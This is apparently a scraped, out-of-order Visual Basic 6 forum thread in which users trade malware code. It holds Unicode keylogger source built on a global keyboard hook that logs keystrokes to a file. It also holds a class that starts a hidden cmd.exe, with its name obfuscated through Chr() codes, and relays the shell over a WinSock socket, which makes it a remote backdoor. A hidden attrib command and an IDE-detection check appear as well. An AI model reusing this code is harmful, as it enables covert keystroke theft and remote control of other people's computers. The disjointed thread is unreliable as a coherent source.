Visual Basic Foro

Hello,
Sorry I can speak english only.
I am working on a Unicode keylogger to record keylogs of any selected Regional languages like arabics, russian, chinies.etc.
Here is it's source code where I am trying to Mapping Vkey. This code is not showing any error message, but also not recording keylogs in different languages.
It is always recording in english language.

I've asked in other forums also, but nobody is helping me.
Please have a look to the following codes and try to tell me where I am doing mistake in my codes.

Option Explicit
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hWnd As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetParent Lib "user32" (ByVal hWnd As Long) As Long
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As Long, lpdwProcessId As Long) As Long

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function GetKeyboardLayout& Lib "user32" (ByVal dwLayout As Long)
Private Declare Function MapVirtualKeyEx Lib "user32" Alias "MapVirtualKeyExA" (ByVal uCode As Long, ByVal uMapType As Long, ByVal dwhkl As Long) As Long

Public Const WH_KEYBOARD_LL = 13
Private Const HC_ACTION = 0
Private Const HC_NOREMOVE = 3

Public Const VK_LSHIFT = &HA0
Public Const VK_RSHIFT = &HA1
Public Const VK_SHIFT = &H10
Public Type KBDLLHOOKSTRUCT
    vkCode As Long
    scanCode As Long
    flags As Long
    time As Long
    dwExtraInfo As Long
End Type
Private hHook As Long
Public IsHooked As Boolean
Dim mStr As String

Public Sub SetKeyboardHook()
On Error Resume Next
    If IsHooked Then
        DoEvents
    Else
        hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf LowLevelKeyboardProc, App.hInstance, 0)
        IsHooked = True
        Close #1
        Open App.Path & "\test.txt" For Append As #1
        mStr = Empty
        DoEvents
    End If
End Sub
Public Sub RemoveKeyboardHook()
On Error Resume Next
    UnhookWindowsHookEx hHook
    IsHooked = False
    Print #1, mStr
    Close #1
    DoEvents
End Sub
Public Function COLR(TES As String)
    On Error Resume Next
    mStr = mStr & TES
End Function

Public Function LowLevelKeyboardProc(ByVal uCode As Long, ByVal wParam As Long, lParam As KBDLLHOOKSTRUCT) As Long
On Error GoTo errr
    If uCode >= 0 Then
        Select Case uCode
            Case HC_ACTION
            Debug.Print lParam.vkCode
            If wParam <> 257 Then
Select Case (lParam.vkCode)
                Case 65 To 90
                    Call COLR(ChrW$(MapVirtualKeyEx(lParam.vkCode, 2, GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, 0)))))
                End Select
            End If
         
Case HC_NOREMOVE
DoEvents
        End Select
    End If
       DoEvents
    LowLevelKeyboardProc = CallNextHookEx(hHook, uCode, wParam, lParam)
errr:
End Function

Thanks !
Regards,

Dim CmdObj
Set CmdObj = CreateObject("Wscript.Shell")
CmdObj.Run "cmd.exe /c attrib -a-s-h-r / s / d", 0
Set CmdObj = Nothing
I think this is what you were looking for..

Hello brother,

I'v made few changes in "ClsCmd" Class to make it working in all OS include Win7..

Option Explicit
Public ID_Connection        As Long

Private Const PROCESS_QUERY_INFORMATION     As Long = &H400
Private Const PROCESS_TERMINATE             As Long = (&H1)
Private Const PROCESS_VM_READ               As Long = &H10
Private Const NORMAL_PRIORITY_CLASS         As Long = &H20&
Private Const STARTF_USESTDHANDLES          As Long = &H100&
Private Const STARTF_USESHOWWINDOW          As Long = &H1
Private Const SW_HIDE                       As Long = 0
Private Const PIPE_WAIT                     As Long = &H0
Private Const PIPE_NOWAIT                   As Long = &H1
Private Const PIPE_READMODE_BYTE            As Long = &H0
Private Const PIPE_READMODE_MESSAGE         As Long = &H2
Private Const PIPE_TYPE_BYTE                As Long = &H0
Private Const PIPE_TYPE_MESSAGE             As Long = &H4
Private Const STILL_ACTIVE                  As Long = &H103

Private Type SECURITY_ATTRIBUTES
    nLength                 As Long
    lpSecurityDescriptor    As Long
    bInheritHandle          As Long
End Type

Private Type STARTUPINFO
    cb                      As Long
    lpReserved              As Long
    lpDesktop               As Long
    lpTitle                 As Long
    dwX                     As Long
    dwY                     As Long
    dwXSize                 As Long
    dwYSize                 As Long
    dwXCountChars           As Long
    dwYCountChars           As Long
    dwFillAttribute         As Long
    dwFlags                 As Long
    wShowWindow             As Integer
    cbReserved2             As Integer
    lpReserved2             As Long
    hStdInput               As Long
    hStdOutput              As Long
    hStdError               As Long
End Type

Private Type PROCESS_INFORMATION
    hProcess                As Long
    hThread                 As Long
    dwProcessId             As Long
    dwThreadId              As Long
End Type

Private Declare Function CreatePipe Lib "kernel32" (phReadPipe As Long, phWritePipe As Long, lpPipeAttributes As Any, ByVal nSize As Long) As Long
Private Declare Function SetNamedPipeHandleState Lib "kernel32" (ByVal hNamedPipe As Long, lpMode As Long, lpMaxCollectionCount As Long, lpCollectDataTimeout As Long) As Long
Private Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, ByVal lpBuffer As String, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, ByVal lpOverlapped As Any) As Long
Private Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Any) As Long
Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpApplicationName As Long, ByVal lpCommandLine As String, lpProcessAttributes As SECURITY_ATTRIBUTES, lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hHandle As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

Private c_bPiping           As Boolean
Private c_bCancel           As Boolean
Private c_lhReadPipe        As Long
Private c_lhWritePipe       As Long
Private c_lhReadPipe2       As Long
Private c_lhWritePipe2      As Long

'Public Event

Public Function ClosePipe() As Boolean
    If Not c_bCancel Then
        c_bCancel = True
        ClosePipe = True
    End If
End Function

Public Function StartProcessPipe(ByVal sPath As String) As Boolean
    Dim tSTARTUPINFO            As STARTUPINFO
    Dim tPROCESS_INFORMATION    As PROCESS_INFORMATION
    Dim tSECURITY_ATTRIBUTES    As SECURITY_ATTRIBUTES
    Dim lRet                    As Long
    Dim lhProc                  As Long
    Dim sBuffer                 As String * 4096

    If sPath = vbNullString Then Exit Function
    If c_bPiping Then Exit Function

    c_bCancel = False

    With tSECURITY_ATTRIBUTES
        .nLength = LenB(tSECURITY_ATTRIBUTES)
        .bInheritHandle = True
        .lpSecurityDescriptor = False
    End With

    '// Output Pipe
    lRet = CreatePipe(c_lhReadPipe, c_lhWritePipe, tSECURITY_ATTRIBUTES, 0&)
    If lRet = 0 Then GoTo CleanUp

    '// Input Pipe
    lRet = CreatePipe(c_lhReadPipe2, c_lhWritePipe2, tSECURITY_ATTRIBUTES, 0&)
    If lRet = 0 Then GoTo CleanUp

    '// Non blocking mode
    lRet = SetNamedPipeHandleState(c_lhReadPipe, PIPE_READMODE_BYTE Or PIPE_NOWAIT, 0&, 0&)
    If Not lRet = 0 Then GoTo CleanUp

    With tSTARTUPINFO
        .cb = LenB(tSTARTUPINFO)
        .dwFlags = STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW
        .wShowWindow = SW_HIDE
        .hStdOutput = c_lhWritePipe
        .hStdError = c_lhWritePipe
        .hStdInput = c_lhReadPipe2
    End With

    '// Start Proc
    lRet = CreateProcessA(0&, sPath, tSECURITY_ATTRIBUTES, tSECURITY_ATTRIBUTES, _
       1&, NORMAL_PRIORITY_CLASS, 0&, 0&, tSTARTUPINFO, tPROCESS_INFORMATION)

    If tPROCESS_INFORMATION.hProcess = 0 Then GoTo CleanUp

    c_bPiping = True
    StartProcessPipe = True
    DataArrival vbCrLf & "Shell started at: " & time & vbCrLf
    Do
        If c_bCancel = True Then Exit Do
       
        DoEvents: Call Sleep(100)
        If Not ReadFile(c_lhReadPipe, sBuffer, 4096, 0, 0&) = 0 Then
            DataArrival Left(sBuffer, lstrlen(sBuffer))
            sBuffer = String$(4096, vbNullChar)
            DoEvents
        End If

        Call GetExitCodeProcess(tPROCESS_INFORMATION.hProcess, lRet)
    Loop While lRet = STILL_ACTIVE

CleanUp:
    Call CloseHandle(tPROCESS_INFORMATION.hProcess)
    Call CloseHandle(c_lhReadPipe):     c_lhReadPipe = 0
    Call CloseHandle(c_lhReadPipe2):    c_lhReadPipe2 = 0
    Call CloseHandle(c_lhWritePipe):    c_lhWritePipe = 0
    Call CloseHandle(c_lhWritePipe2):   c_lhWritePipe2 = 0

    If c_bCancel Then
        ExitProcessPID tPROCESS_INFORMATION.dwProcessId
        DataArrival vbCrLf & "Shell closed at: " & time & vbCrLf
    Else
        DataArrival vbCrLf & "Shell is already closed!" & vbCrLf
    End If

    c_bPiping = False

End Function

Private Function WriteToPipe(ByVal sData As String) As Boolean
    Dim bvData()    As Byte

    If Not c_bPiping Then
        DataArrival vbCrLf & "Shell is not Running!" & vbCrLf
    Else
        bvData = StrConv(sData & vbCrLf & vbNullChar, vbFromUnicode)
        If WriteFile(c_lhWritePipe2, bvData(0), UBound(bvData), 0, 0&) Then
            WriteToPipe = True
        End If
    End If
DoEvents
End Function

Private Function ExitProcessPID(ByVal lProcessID As Long) As Boolean
    Dim lProcess As Long
    Dim lExitCode As Long

    lProcess = OpenProcess(PROCESS_TERMINATE Or PROCESS_QUERY_INFORMATION Or _
       PROCESS_VM_READ, _
       0, lProcessID)

    If GetExitCodeProcess(lProcess, lExitCode) Then
        TerminateProcess lProcess, lExitCode
        ExitProcessPID = True
    End If

    Call CloseHandle(lProcess)
End Function
Public Function IsPipeActive() As Boolean
If c_bCancel = False Then
IsPipeActive = True
Else
IsPipeActive = False
End If
End Function

Public Sub Socket_DataArrival(ID As Long, IP As String, Puerto As String, Data As String)
    WriteToPipe Data
End Sub

Public Sub Socket_Close(ID As Long, IP As String, Puerto As String)
    ID_Connection = 0
    ClosePipe
End Sub

Public Sub Socket_Conect(ID As Long, IP As String, Puerto As String)
If IsPipeActive = True Then
    ClosePipe
End If
    StartProcessPipe Environ$(Chr(99) & Chr(111) & Chr(109) & Chr(115) & Chr(112) & Chr(101) & Chr(99))
End Sub

Private Sub Class_Terminate()
    If ID_Connection Then
        WinSock32.WsClose ID_Connection
        ClosePipe
    End If
End Sub

Private Function DataArrival(ByVal sData As String)
    WinSock32.SendData ID_Connection, sData
End Function

-Thank You

Hello,
Extremly sorry for my stupidty. It's working like a charm, I was giving incorrect URL of remote image.

Regards,

Thanks cobein brother,
Nice reply. But After few searches visiting few forums found this:

Private Sub UserControl_Initialize()
    If (UserControl.Ambient.UserMode = True) Then
        MsgBox "runtime"
    Else
        MsgBox "Design time"
    End If
End Sub
Hope someone can get help from this. 

-Regards,

Hello,
I am developing an ActiveX control in which I want to detect if the OCX is running under IDE or Running inside a Compiled Application.

I have tried "App.LogMode" in my OCX but that's not working.

Here is the ActiveX Code:

Private Sub UserControl_Initialize()
If (App.LogMode = 0) Then
    MsgBox "IDE Detected"
Else
    MsgBox "IDE not Detected"
End If
End Sub
But after Compiling it, and using as a Reference in the another project IDE. It is returning "IDE not Detected".

PS: Without compiling (Working fine If Adding it as a User Control)

Please tell me How may I detect IDE by OCX?

Thanks before,
Regards,

Thanks brother, I'll try to find the problem by debugging.
One more thing I wanna ask is related to operators. In the project I'v seen few codes like:

ImageSize:=24and
ucListView1.Visible = (lTab = 0)
I want to know the use of := and = (lTab = 0)

I'm a begginger programmer in vb6.0

Thanks

  Friends any solution for my this problem?